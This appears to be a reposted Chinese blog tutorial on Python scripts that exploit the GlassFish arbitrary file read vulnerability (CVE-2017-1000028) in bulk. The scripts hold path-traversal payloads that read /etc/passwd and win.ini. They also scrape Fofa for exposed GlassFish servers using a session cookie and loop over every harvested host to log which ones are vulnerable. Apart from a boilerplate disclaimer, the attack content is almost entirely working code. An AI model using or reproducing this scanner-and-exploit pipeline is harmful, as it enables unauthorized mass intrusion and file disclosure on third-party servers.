Python 渗透测试:漏洞的批量搜索与利用.(GlassFish 任意文件读取)

简介: Python 渗透测试:漏洞的批量搜索与利用.(GlassFish 任意文件读取)

目录:
Python 开发学习的意义:

测试漏洞是否存在的步骤:

(1)应用服务器 GlassFish 任意文件读取 漏洞.

(2)批量搜索漏洞.(GlassFish 任意文件读取(CVE-2017-1000028))

(3)漏洞的利用.(GlassFish 任意文件读取(CVE-2017-1000028))

(4)漏洞的利用.

Python 开发学习的意义:
(1)学习相关安全工具原理.
(2)掌握自定义工具及拓展开发解决实战中无工具或手工麻烦批量化等情况.
(3)在二次开发 Bypass,日常任务,批量测试利用等方面均有帮助.
免责声明:
严禁利用本文章中所提到的工具和技术进行非法攻击,否则后果自负,上传者不承担任何责任。

测试漏洞是否存在的步骤:
(1)应用服务器 GlassFish 任意文件读取 漏洞.

测试应用服务器glassfish任意文件读取漏洞.

import requests #调用requests模块

url="输入IP地址/域名" #下面这个二个是漏洞的payload
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd' #检测linux系统的
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' #检测windows系统
data_linux=requests.get(url+payload_linux).status_code #获取请求后的返回源代码,requests.get是网络爬虫,status_code是获取状态码
data_windows=requests.get(url+payload_windows).status_code #获取请求后的返回源代码,requests.get是网络爬虫,status_code是获取状态码
if data_windows==200 or data_linux==200: #200说明可以请求这个数据.则存在这个漏洞.
print("漏洞存在")
else:
print("漏洞不存在")
效果图:

(2)批量搜索漏洞.(GlassFish 任意文件读取(CVE-2017-1000028))
import base64
import requests
from lxml import etree
import time

(1)获取到可能存在漏洞的地址信息-借助Fofa进行获取目标.

(2)批量请求地址信息进行判断是否存在-单线程和多线程

search_data='"glassfish" && port="4848"' #这个是搜索的内容.
headers={ #要登录账号的Cookie.
'Cookie':'HMACCOUNT=52158546FBA65796;result_per_page=20' #请求20个.
}
for yeshu in range(1,11): #搜索前10页.
url='https://fofa.info/result?page='+str(yeshu)+'&qbase64=' #这个是链接的前面.
search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8") #对数据进行加密.
urls=url+search_data_bs
print('正在提取第'+str(yeshu)+'页') #打印正在提取第的页数.
try: #请求异常也执行.
result=requests.get(urls,headers=headers,timeout=1).content #requests.get请求url,请求的时候用这个headers=headers头(就是加入Cookie请求),请求延迟 timeout=1,content将结果打印出来.

    #print(result.decode('utf-8'))               #decode是编码.
    soup=etree.HTML(result)                     #把结果进行提取.(调用HTML类对HTML文本进行初始化,成功构造XPath解析对象,同时可以自动修正HMTL文本)
    ip_data=soup.xpath('//a[@target="_blank"]/@href')          #也就是爬虫自己要的数据 ,提取a标签,后面为@target="_blank"的href值也就是IP地址.
    #print(ip_data)
    ipdata='\n'.join(ip_data)               #.join(): 连接字符串数组。将字符串、元组、列表中的元素以指定的字符(分隔符)连接生成一个新的字符串
    print(ip_data)
    with open(r'ip.txt','a+') as f:         #打开一个文件(ip.txt),f是定义的名.
        f.write(ipdata+'\n')                #将ipdata的数据写进去,然后换行.
        f.close()                           #关闭.
except Exception as e:
    pass
    #执行后文件下面就会生成一个ip.txt文件.

效果图:

(3)漏洞的利用.(GlassFish 任意文件读取(CVE-2017-1000028))
import requests
import time

payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'

for ip in open('ip.txt'): #打开ip.txt文件
ip=ip.replace('\n','') #替换换行符 为空.
windows_url=ip+payload_windows #请求windows
linux_url=ip+payload_linux #请求linux

#print(windows_url)
#print(linux_url)
try:
    print(ip)
    result_code_linux=requests.get(windows_url).status_code                #请求linux
    result_code_windows=requests.get(linux_url).status_code              #请求windows
    print("chrck->" +ip)            #打印在检测哪一个IP地址.
    if result_code_linux==200 or result_code_windows==200:
        with open(r'result.txt','a+') as f:           #写入result.txt文件.
            f.write(ip)                 #如果有漏洞就写入ip.

    time.sleep(5)
except Exception as e:
    pass

效果图:

(4)漏洞的利用.

学习链接:2021小迪渗透测试/网络安全工程师全套(从入门到就业)_哔哩哔哩_bilibili

文章知识点与官方知识档案匹配,可进一步学习相关知识
Python入门技能树首页概览442099 人正在系统学习中
————————————————

                        版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/weixin_54977781/article/details/124834139

目录
相关文章
|
5天前
|
测试技术 数据库 UED
Python 性能测试进阶之路:JMeter 与 Locust 的强强联合,解锁性能极限
【9月更文挑战第9天】在数字化时代,确保软件系统在高并发场景下的稳定性至关重要。Python 为此提供了丰富的性能测试工具,如 JMeter 和 Locust。JMeter 可模拟复杂请求场景,而 Locust 则能更灵活地模拟真实用户行为。结合两者优势,可全面评估系统性能并优化瓶颈。例如,在电商网站促销期间,通过 JMeter 模拟大量登录请求并用 Locust 模拟用户浏览和购物行为,可有效识别并解决性能问题,从而提升系统稳定性和用户体验。这种组合为性能测试开辟了新道路,助力应对复杂挑战。
20 2
|
1天前
|
SQL JavaScript 前端开发
基于Python访问Hive的pytest测试代码实现
根据《用Java、Python来开发Hive应用》一文,建立了使用Python、来开发Hive应用的方法,产生的代码如下
12 6
基于Python访问Hive的pytest测试代码实现
|
8天前
|
安全 Java 应用服务中间件
渗透测试-JBoss 5.x/6.x反序列化漏洞
渗透测试-JBoss 5.x/6.x反序列化漏洞
35 14
|
4天前
|
安全 JavaScript 前端开发
自动化测试的魔法:如何用Python编写你的第一个测试脚本
【8月更文挑战第41天】在软件的世界里,质量是王道。而自动化测试,就像是维护这个王国的骑士,确保我们的软件产品坚不可摧。本文将引导你进入自动化测试的奇妙世界,教你如何使用Python这把强大的魔法杖,编写出能够守护你代码安全的第一道防护咒语。让我们一起开启这场魔法之旅吧!
|
9天前
|
测试技术 API Python
python在自动化测试中的经典例子
python在自动化测试中的经典例子
23 12
|
8天前
|
安全 应用服务中间件 网络安全
渗透测试-Tomcat文件读取漏洞复现
渗透测试-Tomcat文件读取漏洞复现
37 9
|
8天前
|
安全 网络安全 数据安全/隐私保护
渗透测试-Openssl心脏出血漏洞复现
渗透测试-Openssl心脏出血漏洞复现
22 7
|
4天前
|
测试技术 持续交付 Apache
Python性能测试新风尚:JMeter遇上Locust,性能分析不再难🧐
【9月更文挑战第10天】随着软件应用的不断扩展,性能测试成为确保系统稳定运行的关键环节。本文通过对比Apache JMeter和Locust,探讨了如何在Python环境中利用这两款工具挖掘更多性能测试潜力。JMeter是一款成熟且功能强大的开源工具,支持多种协议,适用于各种应用的测试;而Locust则基于Python,通过简单脚本模拟HTTP请求,更适合Web应用测试。
13 2
|
9天前
|
缓存 测试技术 Apache
告别卡顿!Python性能测试实战教程,JMeter&Locust带你秒懂性能优化💡
【9月更文挑战第5天】性能测试是确保应用在高负载下稳定运行的关键。本文介绍Apache JMeter和Locust两款常用性能测试工具,帮助识别并解决性能瓶颈。JMeter适用于测试静态和动态资源,而Locust则通过Python脚本模拟HTTP请求。文章详细讲解了安装、配置及使用方法,并提供了实战案例,帮助你掌握性能测试技巧,提升应用性能。通过分析测试结果、模拟并发、检查资源使用情况及代码优化,确保应用在高并发环境下表现优异。
35 5
|
6天前
|
消息中间件 监控 测试技术
惊呆了!Python性能测试高手都用这些神器:JMeter+Locust,效率翻倍📈
【9月更文挑战第8天】在软件开发中,性能测试对确保应用稳定性和高效运行至关重要。对于Python开发者而言,选择合适的性能测试工具能显著提升测试效率并精准定位性能瓶颈。本文深入探讨了JMeter和Locust这两款工具的独特优势。JMeter作为跨平台的性能测试工具,支持多种协议,具备高度可定制性和扩展性;而Locust则专为Python应用设计,利用协程实现高并发,提供实时监控和分布式测试功能。两者结合使用,可在实际项目中实现1+1>2的效果,帮助开发者构建全面高效的测试方案,保障应用稳定运行。
30 1